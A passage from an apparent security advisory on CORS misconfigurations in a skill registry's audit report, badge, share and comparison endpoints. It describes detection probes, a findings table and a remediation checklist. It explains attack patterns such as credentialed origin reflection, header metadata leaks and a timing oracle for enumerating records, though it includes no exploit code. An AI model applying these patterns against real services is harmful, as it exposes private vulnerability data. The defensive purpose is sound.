Beyond AST analysis, SkillAudit's dynamic CORS probes fire five test requests against audit report and badge endpoints: an unauthenticated GET to the badge endpoint with Accept: application/json from a synthetic attacker origin to detect the CORS31-002 JSON variant; a credentialed GET to the share endpoint from an unlisted origin using a sandboxed browser context to detect CORS31-001 origin reflection; a timing-differential measurement across POST share-link requests for existing vs. non-existing audit IDs to detect CORS31-003; an unauthenticated GET to the comparison endpoint with two known audit IDs to detect CORS31-004; and an inspection of all response headers from public endpoints for X-Audit-Meta or similar non-standard headers carrying audit intelligence. See SA-SKL-CORS29 (API key management CORS) and SA-SKL-CORS27 (organization management CORS) for related CORS patterns in other registry endpoint classes.
Summary and checklist
| Finding | Endpoint | Pattern | Impact | Fix |
|---|---|---|---|---|
| CORS31-001 | GET /api/audits/:id/share | cors({origin:true,credentials:true}) | Full private audit report (vulns, CVSSes, remediation hints) stolen cross-origin | Explicit Set-based allowlist; strip private fields from share preview; opaque share token |
| CORS31-002 | GET /badge/:skillId | ACAO: * + metadata in X-Audit-Meta header and JSON variant | Scan timestamps, grade details, vulnerability counts read cross-origin without credentials | Badge SVG with grade letter only; remove JSON variant; metadata via authenticated API |
| CORS31-003 | POST /api/audits/:id/share-link | Origin reflection before ownership check | Timing oracle reveals audit record existence across all orgs | CORS middleware before handler; combined ID+org query; constant-time 404 |
| CORS31-004 | GET /api/audits/compare | ACAO: *; no auth | Full findings diff from both reports readable cross-origin without credentials | Explicit allowlist + auth + ownership check for both reportIds |
- Classify every endpoint as either public (ACAO:* acceptable, body must contain only genuinely public data) or authenticated (explicit allowlist required, never ACAO:*). Never allow an endpoint to straddle both classifications.
- For badge and status image endpoints: serve only the visual content (grade letter, color) in the cross-origin accessible response body. Strip all numeric scores, counts, timestamps, and category breakdowns to a separate authenticated API route.
- Audit all response headers on public endpoints for unintentional metadata leakage. Non-standard headers such as
X-Audit-Meta,X-Grade-Score,X-Scan-Time, orX-Finding-Countare as readable cross-origin as the body when ACAO:* is present. - Provide a separate JSON variant endpoint for badge metadata only behind authentication; never serve a JSON variant of a public image endpoint under the same CORS-permissive route.
- Apply
cors(options)as a route-level middleware argument, not viares.header()calls inside the handler. Handler-level emission creates timing oracles and bypass opportunities. - For share and report-access endpoints: implement an opaque share token mechanism. The token grants access to a sanitized preview only; the full authenticated report is only accessible via a separate route with an explicit allowlist and session authentication.
- Define a sanitized share preview payload that explicitly excludes remediation hints, internal triage notes, affected file paths, and CVSS vectors. Only include finding titles, severity labels, and counts in the public share view.
- For comparison and diff endpoints: require authentication and apply an ownership check to every resource ID in the request. A single unowned ID in a comparison request must produce a 404, not a partial diff.
- Return a constant-time 404 for both not-found and not-owned resource lookups on all audit and share endpoints. Never return 403 on ownership check failure — 403 confirms record existence.
- Apply per-user rate limits to all comparison and diff endpoints to slow enumeration attacks even if ownership checks are bypassed due to a future configuration error.
- Log the
Originrequest header value alongside every audit-related access in your application access logs. Alert on requests where the Origin value is not in the CORS allowlist for credentialed endpoints — these indicate either a misconfiguration or an active cross-origin attack. - Conduct periodic CORS regression testing as part of your CI/CD pipeline. Fire a cross-origin GET from a synthetic attacker origin against every audit report, badge, share, and comparison endpoint in your test suite and assert that the response does not carry a permissive ACAO header for the attacker origin.
Related posts: See also SA-SKL-CORS29 — CORS misconfigurations in MCP skill registry API key management and developer credential endpoints, SA-SKL-CORS (webhook event subscription CORS misconfigurations in MCP skill registry), and SA-SKL-CORS27 — CORS misconfigurations in organization management and member invitation endpoints.